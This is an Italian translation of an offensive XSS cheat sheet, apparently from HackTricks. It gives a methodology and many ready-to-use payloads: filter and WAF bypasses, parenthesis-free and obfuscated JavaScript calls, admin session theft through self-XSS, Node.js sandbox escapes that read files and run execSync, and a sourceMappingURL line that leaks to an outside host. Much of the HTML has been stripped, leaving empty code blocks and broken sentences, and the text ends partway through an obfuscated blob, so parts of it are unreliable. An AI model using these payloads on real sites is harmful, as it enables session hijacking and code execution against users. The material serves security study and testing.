# XSS (Cross Site Scripting)
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_). {% embed url="https://www.stmcyber.com/careers" %} ## Metodologia 1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**. 2. **Trova il contesto** in cui è riflesso/utilizzato. 3. Se **riflesso** 1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload: 1. In **HTML grezzo**: 1. Puoi creare nuovi tag HTML? 2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`? 3. Puoi bypassare le protezioni? 4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)? 2. All'interno di un **tag HTML**: 1. Puoi uscire nel contesto HTML grezzo? 2. Puoi creare nuovi eventi/attributi per eseguire codice JS? 3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS? 4. Puoi bypassare le protezioni? 3. All'interno del **codice JavaScript**: 1. Puoi sfuggire al tag ``** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**: * Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `` è all'interno del codice HTML. * Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Se riflesso all'interno di template literals puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **La codifica Unicode** funziona per scrivere **codice javascript valido**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting si riferisce all'opportunità di **dichiarare funzioni, variabili o classi dopo che sono state utilizzate, in modo da poter abusare di scenari in cui un XSS utilizza variabili o funzioni non dichiarate.**\ **Controlla la seguente pagina per ulteriori informazioni:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Function Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune da vedere nel mondo reale è qualcosa come: `?callback=callbackFunc`. Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio in 'Vulnerable') e cercare nella console errori come: ![](<../../.gitbook/assets/image (711).png>) Nel caso sia vulnerabile, potresti essere in grado di **attivare un avviso** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e trattini bassi (**`[\w\._]`**). Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi utilizzare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**: ![](<../../.gitbook/assets/image (747).png>) Alcune funzioni utili per questo: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`. Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza molto DOM interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni. Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'esploitazione **Same Origin Method Execution (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM C'è **codice JS** che utilizza **in modo non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'exploitation client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\ Alcuni **esempi**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Iniettare all'interno di HTML raw Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi sfruttare `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\ Per questi casi, tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Nota: Un commento HTML può essere chiuso usando\*\*\*\***** ****`-->`**** ****o \*\*\*\*****`--!>`**_ In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come: ```html ``` Ma, se viene utilizzato il black/whitelisting di tag/attributi, sarà necessario **forzare quali tag** puoi creare.\ Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto. ### Forzatura di tag/eventi Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura di prima). ### Tag personalizzati Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina **focalizzi quell'oggetto** e **esegua** il codice: ``` /?search=#x ``` ### Blacklist Bypasses Se viene utilizzato qualche tipo di blacklist, potresti provare a bypassarla con alcuni trucchi sciocchi: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ordine per codificare il **payload** non **funzionerà**, ma puoi **mescolarli all'interno del payload**. **Utilizzando la codifica Hex e Octale con `javascript:`** Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Tag non sfruttabili" (input nascosto, link, canonico, meta) Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare degli input nascosti con:** ```html
Newsletter popup
``` Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a condizione che tu possa **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore: ```markup ``` **Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`** ### Bypass della Blacklist Diversi trucchi con l'uso di diverse codifiche sono già stati esposti in questa sezione. Torna **indietro per imparare dove puoi usare:** * **codifica HTML (tag HTML)** * **codifica Unicode (può essere codice JS valido):** `\u0061lert(1)` * **codifica URL** * **codifica esadecimale e ottale** * **codifica dei dati** **Bypass per tag e attributi HTML** Leggi i [Bypass della Blacklist della sezione precedente](./#blacklist-bypasses). **Bypass per codice JavaScript** Leggi la [blacklist di bypass JavaScript della sezione seguente](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Se hai trovato un **XSS in una parte molto piccola** del web che richiede qualche tipo di interazione (forse un piccolo link nel footer con un elemento onmouseover), puoi provare a **modificare lo spazio che quell'elemento occupa** per massimizzare le probabilità di attivare il link. Ad esempio, potresti aggiungere qualche stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Ma, se il WAF sta filtrando l'attributo di stile, puoi usare CSS Styling Gadgets, quindi se trovi, ad esempio > .test {display:block; color: blue; width: 100%\} e > \#someid {top: 0; font-family: Tahoma;} Ora puoi modificare il nostro link e portarlo alla forma > \ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Iniezione all'interno del codice JavaScript In questo caso il **tuo input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`. ### Escape del tag \` potresti facilmente **uscire chiudendo il tag ` ``` Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente. ### Dentro il codice JS Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** dove il tuo input è **situato** e **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori, il codice JS non verrà eseguito: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche **backticks** **` `` `**. Questo è conosciuto come template literals poiché consentono di **incorporare espressioni JS** utilizzando la sintassi `${ ... }`.\ Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**: Questo può essere **abusato** utilizzando: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Esecuzione di codice codificato ```markup ``` **Javascript all'interno di un commento** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript senza parentesi** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Chiamata di funzione arbitraria (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vulnerabilità DOM** C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\ **A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Lì troverai una dettagliata **spiegazione di cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\ Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione sugli [**attacchi DOM Clobbering**](dom-xss.md#dom-clobbering). ### Aggiornamento Self-XSS ### Cookie XSS Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo ad attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) {% endcontent-ref %} Puoi trovare un grande abuso di questa tecnica in [**questo post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Inviare la tua sessione all'amministratore Forse un utente può condividere il proprio profilo con l'amministratore e se il self XSS è all'interno del profilo dell'utente e l'amministratore vi accede, attiverà la vulnerabilità. ### Session Mirroring Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione. Potresti far sì che **l'amministratore attivi il tuo self XSS** e rubare i suoi cookie/sessione. ## Altri Bypass ### Unicode Normalizzato Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode** nel server (o nel lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass A causa di **RoR mass assignment** le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\ Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` La coppia "Key","Value" verrà restituita in questo modo: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Poi, l'attributo onfocus verrà inserito e si verifica XSS. ### Combinazioni speciali ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS con iniezione di intestazioni in una risposta 302 Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire JavaScript arbitrario dal browser**. Questo è **non banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile. In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\ Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`. ### Solo lettere, numeri e punti Se sei in grado di indicare il **callback** che JavaScript andrà a **eseguire** limitato a quei caratteri. [**Leggi questa sezione di questo post**](./#javascript-function) per scoprire come abusare di questo comportamento. ### Tipi di contenuto ` ``` La risposta è: * **modulo** (predefinito, nulla da spiegare) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di impacchettare un insieme di dati (HTML, CSS, JS…) insieme in un file **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Consente di migliorare la sintassi di importazione ```html ``` Questo comportamento è stato utilizzato in [**questo writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria a eval per abusarne e può attivare XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona in questo modo: ```html ``` ### Web Content-Types to XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? non nella lista ma penso di averlo visto in un CTF) * application/rss+xml (off) * application/atom+xml (off) In altri browser possono essere utilizzati altri **`Content-Types`** per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario: ```xml hello ``` ### Special Replacement Patterns Quando qualcosa come **`"some {{template}} data".replace("{{template}}", )`** viene utilizzato. L'attaccante potrebbe usare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di eludere alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Ad esempio in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario. ### Chrome Cache to XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS Jails Escape Se hai solo un insieme limitato di caratteri da usare, controlla queste altre soluzioni valide per i problemi di XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile: * Utilizzando import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Accessing `require` indirectly [Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono incapsulati da Node.js all'interno di una funzione, in questo modo: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Pertanto, se da quel modulo possiamo **chiamare un'altra funzione**, è possibile utilizzare `arguments.callee.caller.arguments[1]` da quella funzione per accedere a **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} In un modo simile all'esempio precedente, è possibile **utilizzare i gestori di errori** per accedere al **wrapper** del modulo e ottenere la funzione **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Offuscamento e Bypass Avanzato * **Diverse offuscazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * Più sofisticato JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ 